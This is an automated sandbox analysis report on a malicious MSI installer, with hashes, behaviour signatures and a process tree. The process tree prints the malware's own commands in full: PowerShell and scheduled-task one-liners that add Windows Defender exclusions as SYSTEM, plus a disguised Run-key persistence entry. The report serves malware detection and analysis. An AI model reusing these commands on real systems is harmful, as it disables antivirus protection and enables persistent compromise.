Analysis
- max time kernel
145s - max time network
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 08:22
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
install_m3ue018.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
39 signatures
150 seconds
Behavioral task
behavioral2
Sample
install_m3ue018.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
24 signatures
150 seconds
General
- Target install_m3ue018.msi
- Size 6.9MB
- Sample260803-j9mt4aee84
- SHA256 285cbbc3e0845a47bdab345b54e6c3506c4f074f7002ba8ed48b117eb868de4e
- MD5 560c0ec6c63fe8b0e1b7d2768c527022
- SHA1 8d981989ea3f9707f1569e13a54ab6ddbc17444e
- SHA512 8caebced3bb18a8c917729e0d479caf2a22493e9016e0d983784818ffc5a67f178df47e84fdf757c635b4c3fdd538d8f7662f09240f202ef765c93a991eda7cf
- SSDEEP 196608:29SQZyxOY+4WXJTJlK9bU7beJnjC1MGErDsF:pxOYcX5Jlkg3e9VGL
- TLSH T1737633DABCC62775D18BD731420759AD3C3D7F96BA3A5C2F7B8836001E7251ABA31680
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1896 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 5304 ajryHR.exe - Loads dropped DLL 2 IoCs
pid Process 5932 MsiExec.exe 5304 ajryHR.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\xTLyOq\\ajryHR.exe\"" ajryHR.exe - Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 11 5932 MsiExec.exe 14 5932 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\W: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 5624 cmd.exe 4840 cmd.exe 5696 cmd.exe 4820 cmd.exe 4908 cmd.exe - Drops file in System32 directory 7 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b ajryHR.exe - Drops file in Windows directory 13 IoCs
description ioc Process File created C:\Windows\Installer\SourceHash{AB5B91D2-8262-88C3-C0B3-9F7A3D9BBE66} msiexec.exe File opened for modification C:\Windows\Installer\MSIEF77.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIF014.tmp msiexec.exe File created C:\Windows\Installer\e59e97c.msi msiexec.exe File created C:\Windows\SystemTemp\~DF9494ACA0E77B5909.TMP msiexec.exe File created C:\Windows\Installer\e59e97e.msi msiexec.exe File created C:\Windows\SystemTemp\~DF4A3144D7655F7B17.TMP msiexec.exe File created C:\Windows\SystemTemp\~DFFDB456EBEC0DD812.TMP msiexec.exe File opened for modification C:\Windows\Installer\e59e97c.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\SystemTemp\~DF7C82A400B4B23A50.TMP msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 1964 msiexec.exe - Executes a command shell one-liner 1 TTPs 5 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5572 cmd.exe 3224 cmd.exe 4188 cmd.exe 3288 cmd.exe 4944 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000031a81fc62ba3bf350000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c012000000000000000000000000270101000088380131a81fc60000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e8410131a81fc6000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e331a81fc600000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e631a81fc600000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe - Modifies registry class 22 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Version = "84017285" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\InstanceType = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\94BE0DF692EECDFE6C8D0D14335F1104 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\PackageName = "install_m3ue018.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2D19B5BA26283C880C3BF9A7D3B9EB66 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\94BE0DF692EECDFE6C8D0D14335F1104\2D19B5BA26283C880C3BF9A7D3B9EB66 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Media\1 = ";" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2D19B5BA26283C880C3BF9A7D3B9EB66\UuueatYAD msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\ProductName = "TRUNC Licensing Dll" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\PackageCode = "F508370177C89894394BF7451828009A" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\AuthorizedLUAApp = "0" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Clients = 3a0000000000 msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4472 schtasks.exe 1968 schtasks.exe 5756 schtasks.exe 4184 schtasks.exe 3960 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4124 msiexec.exe 4124 msiexec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5932 MsiExec.exe 5304 ajryHR.exe 5304 ajryHR.exe 5304 ajryHR.exe 5304 ajryHR.exe 5304 ajryHR.exe 5304 ajryHR.exe 5304 ajryHR.exe 5304 ajryHR.exe 5304 ajryHR.exe 5304 ajryHR.exe 5304 ajryHR.exe 5304 ajryHR.exe 5304 ajryHR.exe 5304 ajryHR.exe 5304 ajryHR.exe 5304 ajryHR.exe 5304 ajryHR.exe 5304 ajryHR.exe 5304 ajryHR.exe 5304 ajryHR.exe 5304 ajryHR.exe 5304 ajryHR.exe 5304 ajryHR.exe 5304 ajryHR.exe 5304 ajryHR.exe 5304 ajryHR.exe - Suspicious behavior: LoadsDriver 6 IoCs
pid Process 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1964 msiexec.exe Token: SeIncreaseQuotaPrivilege 1964 msiexec.exe Token: SeSecurityPrivilege 4124 msiexec.exe Token: SeCreateTokenPrivilege 1964 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1964 msiexec.exe Token: SeLockMemoryPrivilege 1964 msiexec.exe Token: SeIncreaseQuotaPrivilege 1964 msiexec.exe Token: SeMachineAccountPrivilege 1964 msiexec.exe Token: SeTcbPrivilege 1964 msiexec.exe Token: SeSecurityPrivilege 1964 msiexec.exe Token: SeTakeOwnershipPrivilege 1964 msiexec.exe Token: SeLoadDriverPrivilege 1964 msiexec.exe Token: SeSystemProfilePrivilege 1964 msiexec.exe Token: SeSystemtimePrivilege 1964 msiexec.exe Token: SeProfSingleProcessPrivilege 1964 msiexec.exe Token: SeIncBasePriorityPrivilege 1964 msiexec.exe Token: SeCreatePagefilePrivilege 1964 msiexec.exe Token: SeCreatePermanentPrivilege 1964 msiexec.exe Token: SeBackupPrivilege 1964 msiexec.exe Token: SeRestorePrivilege 1964 msiexec.exe Token: SeShutdownPrivilege 1964 msiexec.exe Token: SeDebugPrivilege 1964 msiexec.exe Token: SeAuditPrivilege 1964 msiexec.exe Token: SeSystemEnvironmentPrivilege 1964 msiexec.exe Token: SeChangeNotifyPrivilege 1964 msiexec.exe Token: SeRemoteShutdownPrivilege 1964 msiexec.exe Token: SeUndockPrivilege 1964 msiexec.exe Token: SeSyncAgentPrivilege 1964 msiexec.exe Token: SeEnableDelegationPrivilege 1964 msiexec.exe Token: SeManageVolumePrivilege 1964 msiexec.exe Token: SeImpersonatePrivilege 1964 msiexec.exe Token: SeCreateGlobalPrivilege 1964 msiexec.exe Token: SeBackupPrivilege 2372 vssvc.exe Token: SeRestorePrivilege 2372 vssvc.exe Token: SeAuditPrivilege 2372 vssvc.exe Token: SeBackupPrivilege 4124 msiexec.exe Token: SeRestorePrivilege 4124 msiexec.exe Token: SeRestorePrivilege 4124 msiexec.exe Token: SeTakeOwnershipPrivilege 4124 msiexec.exe Token: SeRestorePrivilege 4124 msiexec.exe Token: SeTakeOwnershipPrivilege 4124 msiexec.exe Token: SeRestorePrivilege 4124 msiexec.exe Token: SeTakeOwnershipPrivilege 4124 msiexec.exe Token: SeBackupPrivilege 4188 srtasks.exe Token: SeRestorePrivilege 4188 srtasks.exe Token: SeSecurityPrivilege 4188 srtasks.exe Token: SeTakeOwnershipPrivilege 4188 srtasks.exe Token: SeBackupPrivilege 4188 srtasks.exe Token: SeRestorePrivilege 4188 srtasks.exe Token: SeSecurityPrivilege 4188 srtasks.exe Token: SeTakeOwnershipPrivilege 4188 srtasks.exe Token: SeRestorePrivilege 4124 msiexec.exe Token: SeTakeOwnershipPrivilege 4124 msiexec.exe Token: SeRestorePrivilege 4124 msiexec.exe Token: SeTakeOwnershipPrivilege 4124 msiexec.exe Token: SeRestorePrivilege 4124 msiexec.exe Token: SeTakeOwnershipPrivilege 4124 msiexec.exe Token: SeRestorePrivilege 4124 msiexec.exe Token: SeTakeOwnershipPrivilege 4124 msiexec.exe Token: SeRestorePrivilege 4124 msiexec.exe Token: SeTakeOwnershipPrivilege 4124 msiexec.exe Token: SeRestorePrivilege 4124 msiexec.exe Token: SeTakeOwnershipPrivilege 4124 msiexec.exe Token: SeRestorePrivilege 4124 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1964 msiexec.exe 1964 msiexec.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 1964 msiexec.exe 4124 msiexec.exe 5932 MsiExec.exe - Suspicious use of WriteProcessMemory 25 IoCs
description pid Process procid_target PID 4124 wrote to memory of 4188 4124 msiexec.exe 93 PID 4124 wrote to memory of 5932 4124 msiexec.exe 95 PID 5304 wrote to memory of 1896 5304 ajryHR.exe 99 PID 5304 wrote to memory of 5624 5304 ajryHR.exe 101 PID 5624 wrote to memory of 1968 5624 cmd.exe 103 PID 5624 wrote to memory of 5608 5624 cmd.exe 104 PID 5624 wrote to memory of 1844 5624 cmd.exe 106 PID 5304 wrote to memory of 4840 5304 ajryHR.exe 107 PID 4840 wrote to memory of 5756 4840 cmd.exe 110 PID 4840 wrote to memory of 5100 4840 cmd.exe 112 PID 4840 wrote to memory of 4508 4840 cmd.exe 114 PID 5304 wrote to memory of 5696 5304 ajryHR.exe 115 PID 5696 wrote to memory of 4184 5696 cmd.exe 117 PID 5696 wrote to memory of 3384 5696 cmd.exe 118 PID 5696 wrote to memory of 5372 5696 cmd.exe 120 PID 5304 wrote to memory of 4820 5304 ajryHR.exe 124 PID 4820 wrote to memory of 3960 4820 cmd.exe 126 PID 4820 wrote to memory of 1656 4820 cmd.exe 127 PID 4820 wrote to memory of 4412 4820 cmd.exe 129 PID 3224 wrote to memory of 4724 3224 cmd.exe 131 PID 5572 wrote to memory of 5540 5572 cmd.exe 132 PID 5304 wrote to memory of 4908 5304 ajryHR.exe 133 PID 4908 wrote to memory of 4472 4908 cmd.exe 135 PID 4908 wrote to memory of 4484 4908 cmd.exe 136 PID 4908 wrote to memory of 5136 4908 cmd.exe 138 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_m3ue018.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:1964
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4124 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:4188
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C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding D3DB9D45C91CA2BB4F48501ADAE4EB70 E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:5932
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:2372
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C:\Users\Public\xTLyOq\ajryHR.exe"C:\Users\Public\xTLyOq\ajryHR.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5304 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
PID:1896
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\xTLyOq\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5624 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\xTLyOq\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1968
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5608
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1844
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4840 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5756
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5100
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4508
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5696 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4184
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3384
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5372
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4820 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3960
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1656
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4412
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4908 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4472
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4484
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5136
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\xTLyOq" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:4944 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\xTLyOq" /t REG_DWORD /d 0 /f2⤵PID:4464
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C:\Windows\system32\cmd.execmd.exe1⤵PID:4400
